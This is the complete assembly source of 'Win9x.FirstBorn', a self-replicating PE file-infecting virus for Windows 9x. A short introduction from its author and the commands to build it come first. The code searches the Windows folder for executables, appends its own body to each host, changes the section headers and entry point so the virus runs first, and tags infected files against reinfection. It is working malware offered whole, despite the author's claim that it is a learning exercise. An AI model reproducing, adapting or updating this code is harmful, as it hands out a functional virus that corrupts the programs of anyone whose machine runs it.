; ; [ Win9x.FirstBorn Vorgon ] ; [ 2560 bytes Target - PE ] ; [ 08/10/02 Made in Canada ] ; ; ; ; ; [ Introduction ] ; ; After three or four years of programming in asm i decided i was ready for ; somthing more challenging. Virus programming had always interested me so ; i went searching for a group that would teach me the basics. I found the ; group iKX, and T00FiC showed me how to make my first virus which i call ; FirstBorn. Its a sucky virus and would never survive in the wild, i only ; made it for learning purposes. ; ; [ The Infection ] ; ; FirstBorn is a simple PE infector. It only works on Win9x because i could ; not get the exception handling part of the Kernel finder working. So it ; just assumes the kernel is located at 0BFF70000. I will have this function ; working in my next virus and then it can infect NT and 2k. Below is ; a break down of what the virus does: ; ; - Get the delta offset and save the starting location of the virus ; - Save registers incase the host program needs them ; - Use the GetFunctionAddress procedure to get the kernel32 api function ; addreses i need. ; - Call the FindHostFile procedure to find a valid PE file to infect. ; - Call the GetHeader procedure which reads the PE header into memory ; - Call the AddCodeToHost procedure which does many things: ; - Writes this program in memory to the end of the host file ; - Updates the last section header to include all the data ; up to the EOF, Updates its virtual size, and makes it ; Readable/Writable/Executable ; - Updates the program image size ; - Sets the entry point to the virus code ; - Adds a signature to location 79h to stop another infection ; - Call PutHeader procedure which writes the updated PE Header to the host ; - Restore registers for the host program ; - Returns control to the host program ; ; ; [ Assembling ] ; ; tasm32 /ml 1born ; tlink32 -x /Tpe /c 1born,1born ; editbin /SECTION:CODE,rwe 1born.exe ; ; .386p .model flat, stdcall extrn ExitProcess : PROC .DATA dd 0 .CODE Main: ;---------------------------------------------------------------------------- ; Get delta offset and the start location of the virus in memory ;---------------------------------------------------------------------------- push ebp call GetDeltaPointer GetDeltaPointer: pop ebp sub ebp, offset GetDeltaPointer Call SaveRegisters mov [ebp+StartOfCode], ebp lea eax, GetDeltaPointer add [ebp+StartOfCode], eax sub [ebp+StartOfCode], 6 ;get the start address of virus in memory mov eax, [ebp+HEP2] ;Set the return to host address mov [ebp+HostEntryPoint], eax ;---------------------------------------------------------------------------- ; Virus Data ;---------------------------------------------------------------------------- jmp JumpOverData StartOfCode dd 0 VirusSignature dd 0DEADBEEFh Handle dd 0 NumberOfBytesRead dd 0 PE_Header db 248 dup(0) LocationOfHeader dd 0 SearchString db 'c:\windows\*.EXE',0 FindHandle dd 0 Win32_Find_Data: FileAttributes dd 0 CreateTime dq 0 LastAccessTime dq 0 LastWriteTime dq 0 FileSizeHigh dd 0 FileSizeLow dd 0 Reserved0 dd 0 Reserved1 dd 0 FullFileName db 260 dup(0) AlternateFileName db 14 dup(0) SectionHeader: ANSI_Name db 8 dup(0) VirtualSize dd 0 VirtualAddress dd 0 SizeOfRawData dd 0 PointerToRawData dd 0 PointerToRelocs dd 0 PointerToLinNums dd 0 NumberOfRelocs dw 0 NumberOfLineNums dw 0 Characteristics dd 0 Kernel32Address dd 0BFF70000h szCreateFileA db 'CreateFileA',0 _CreateFileA dd 0 szWriteFile db 'WriteFile',0 _WriteFile dd 0 szCloseHandle db 'CloseHandle',0 _CloseHandle dd 0 szReadFile db 'ReadFile',0 _ReadFile dd 0 szSetFilePointer db 'SetFilePointer',0 _SetFilePointer dd 0 szFindFirstFileA db 'FindFirstFileA',0 _FindFirstFileA dd 0 szFindNextFileA db 'FindNextFileA',0 _FindNextFileA dd 0 szFindClose db 'FindClose',0 _FindClose dd 0 loc dd 0 loc2 dd 0 HostEntryPoint dd 0 HEP2 dd 00401000h _EBP dd 0 _EDI dd 0 _ESI dd 0 _EAX dd 0 _EBX dd 0 _ECX dd 0 _EDX dd 0 FirstGeneration dd 1 JumpOverData: ;---------------------------------------------------------------------------- ; Get the required API function addresses from the Kernel32.dll ;---------------------------------------------------------------------------- lea esi, [ebp+szCreateFileA] call GetFunctionAddress mov [ebp+_CreateFileA], eax lea esi, [ebp+szWriteFile] call GetFunctionAddress mov [ebp+_WriteFile], eax lea esi, [ebp+szCloseHandle] call GetFunctionAddress mov [ebp+_CloseHandle], eax lea esi, [ebp+szReadFile] call GetFunctionAddress mov [ebp+_ReadFile], eax lea esi, [ebp+szSetFilePointer] call GetFunctionAddress mov [ebp+_SetFilePointer], eax lea esi, [ebp+szFindFirstFileA] call GetFunctionAddress mov [ebp+_FindFirstFileA], eax lea esi, [ebp+szFindNextFileA] call GetFunctionAddress mov [ebp+_FindNextFileA], eax lea esi, [ebp+szFindClose] call GetFunctionAddress mov [ebp+_FindClose], eax ;---------------------------------------------------------------------------- ; Main ;---------------------------------------------------------------------------- Call FindHostFile ;Find an exe to infect cmp eax, 0FFFFFFFFh je BackToHost lea eax, [ebp+FullFileName] ;Open it mov ebx, 0C0000000h call OpenFile cmp eax, 0FFFFFFFFh je BackToHost call GetHeader ;Get its PE header call AddCodeToHost ;Add virus to it call PutHeader ;Write the updated PE header ;to it mov eax, [ebp+Handle] call CloseFile ;Close it BackToHost: cmp dword ptr [ebp+FirstGeneration], 1 je Exit mov eax, dword ptr [ebp+HostEntryPoint] push eax Call RestoreRegisters ret ;return to host Exit: push 0 Call ExitProcess ;---------------------------------------------------------------------------- ; General Procedures ;---------------------------------------------------------------------------- SaveRegisters PROC mov [ebp+_EDI], edi mov [ebp+_ESI], esi mov [ebp+_EBX], ebx mov [ebp+_ECX], ecx mov [ebp+_EDX], edx pop eax pop ebx mov [ebp+_EBP], ebx push eax ret SaveRegisters ENDP RestoreRegisters PROC mov edi, [ebp+_EDI] mov esi, [ebp+_ESI] mov ebx, [ebp+_EBX] mov ecx, [ebp+_ECX] mov edx, [ebp+_EDX] mov ebp, [ebp+_EBP] ret RestoreRegisters ENDP AddCodeToHost PROC push dword ptr [ebp+FirstGeneration] mov dword ptr [ebp+FirstGeneration], 0 mov eax, dword ptr [ebp+PE_Header+40] add eax, dword ptr [ebp+PE_Header+52] ;add image base mov [ebp+HEP2], eax ;Save original entry point mov eax, 0 mov ebx, 2 Call SeekData ;Seek to EOF mov [ebp+loc], eax add [ebp+loc], 2560 ;loc = new EOF mov eax, [ebp+StartOfCode] mov ebx, 2560 call PutData ;Write virus to EOF xor edx, edx xor eax, eax mov ax, word ptr [ebp+PE_Header+6] dec eax mov ebx, 40 mul ebx add eax, [ebp+LocationOfHeader] add eax, 248 mov ebx, 0 Call SeekData ;Seek to the last section header lea eax, [ebp+SectionHeader] mov ebx, 40 Call GetData ;Get the last section header mov eax, dword ptr [ebp+PE_Header+80] sub eax, [ebp+VirtualSize] mov dword ptr [ebp+PE_Header+80], eax ;subtract the section size from the image size mov eax, [ebp+loc] sub eax, [ebp+PointerToRawData] mov [ebp+SizeOfRawData], eax ;Update SizeOfRawData shr eax, 12 ;divide eax by 4096 shl eax, 12 ;multiply eax by 4096 add eax, 8192 ;add 1 - 2k for any unitialized data mov [ebp+VirtualSize], eax ;Update VirtualSize mov eax, [ebp+SizeOfRawData] sub eax, 2560 add eax, [ebp+VirtualAddress] mov dword ptr [ebp+PE_Header+40], eax ;Set Entry point mov [ebp+Characteristics], 0E0000020h ;Make Section Executable/Readable/Writable mov eax, -40 mov ebx, 1 Call SeekData lea eax, [ebp+SectionHeader] mov ebx, 40 Call PutData ;Write section header back to file mov eax, dword ptr [ebp+PE_Header+80] add eax, [ebp+VirtualSize] mov dword ptr [ebp+PE_Header+80], eax ;update image size mov eax, 79h mov ebx, 0 Call SeekData lea eax, [ebp+VirusSignature] mov ebx, 4 Call PutData ;Write Virus Signature to host ;to prevent reinfection pop dword ptr [ebp+FirstGeneration] ret AddCodeToHost ENDP FindHostFile PROC lea eax, [ebp+Win32_Find_Data] lea ebx, [ebp+SearchString] push eax push ebx Call [ebp+_FindFirstFileA] mov [ebp+FindHandle], eax ;Get First File match FindHost: lea eax, [ebp+FullFileName] mov ebx, 0C0000000h call OpenFile cmp eax, 0FFFFFFFFh je FindNext mov [ebp+Handle], eax mov eax, 79h mov ebx, 0 Call SeekData lea eax, [ebp+loc] mov ebx, 4 Call GetData mov eax, 3Ch mov ebx, 0 Call SeekData lea eax, [ebp+loc2] mov ebx, 4 Call GetData mov eax, [ebp+loc2] mov ebx, 0 Call SeekData lea eax, [ebp+loc2] mov ebx, 4 Call GetData ;Get PE signature mov eax, [ebp+Handle] Call CloseFile cmp [ebp+loc], 0DEADBEEFh jne NextCheck ;Already Infected? je FindNext NextCheck: cmp [ebp+loc2], 00004550h ;Valid PE EXE? je FoundHost FindNext: lea eax, [ebp+Win32_Find_Data] push eax push [ebp+FindHandle] Call [ebp+_FindNextFileA] cmp eax, 0 ;No more exes left je HostNotFound jmp FindHost FoundHost: push [ebp+FindHandle] Call [ebp+_FindClose] ret HostNotFound: push [ebp+FindHandle] Call [ebp+_FindClose] mov eax, 0FFFFFFFFh ret FindHostFile ENDP GetHeader PROC mov eax, 3Ch mov ebx, 0 call SeekData lea eax, [ebp+LocationOfHeader] mov ebx, 4 call GetData mov eax, [ebp+LocationOfHeader] mov ebx, 0 call SeekData lea eax, [ebp+PE_Header] mov ebx, 248 call GetData ret GetHeader ENDP PutHeader PROC mov eax, 3Ch mov ebx, 0 call SeekData lea eax, [ebp+LocationOfHeader] mov ebx, 4 call GetData mov eax, [ebp+LocationOfHeader] mov ebx, 0 call SeekData lea eax, [ebp+PE_Header] mov ebx, 248 call PutData ret PutHeader ENDP GetFunctionAddress PROC mov eax, [ebp+Kernel32Address] ;EAX = Kernel32 Address mov ebx, [eax+3Ch] add ebx, eax add ebx, 120 mov ebx, [ebx] add ebx, eax ;EBX = Export Address xor edx, edx mov ecx, [ebx+32] add ecx, eax push esi push edx CompareNext: pop edx pop esi inc edx mov edi, [ecx] add edi, eax add ecx, 4 push esi push edx CompareName: mov dl, [edi] mov dh, [esi] cmp dl, dh jne CompareNext inc edi inc esi cmp byte ptr [esi], 0 je GetAddress jmp CompareName GetAddress: pop edx pop esi dec edx shl edx, 1 mov ecx, [ebx+36] add ecx, eax add ecx, edx xor edx, edx mov dx, [ecx] shl edx, 2 mov ecx, [ebx+28] add ecx, eax add ecx, edx add eax, [ecx] ret GetFunctionAddress ENDP ;---------------------------------------------------------------------------- ; File I/O Procedures ;---------------------------------------------------------------------------- OpenFile PROC push 00000000h push 00000080h push 00000003h push 00000000h push 00000000h push ebx ;open for read/write push eax call [ebp+_CreateFileA] mov [ebp+Handle], eax ret OpenFile ENDP CloseFile PROC push eax call [ebp+_CloseHandle] ret CloseFile ENDP SeekData PROC push ebx ; 0 = begin / 1 = current / 2 = end push 0 push eax ; location to seek to push [ebp+Handle] call [ebp+_SetFilePointer] ret SeekData ENDP GetData PROC lea ecx, [ebp+NumberOfBytesRead] push 00000000h push ecx push ebx push eax push [ebp+Handle] call [ebp+_ReadFile] ret GetData ENDP PutData PROC lea ecx, [ebp+NumberOfBytesRead] push 0 push ecx push ebx push eax push [ebp+Handle] call [ebp+_WriteFile] ret PutData ENDP End Main ;Wow your actualy still reading? Get a life :p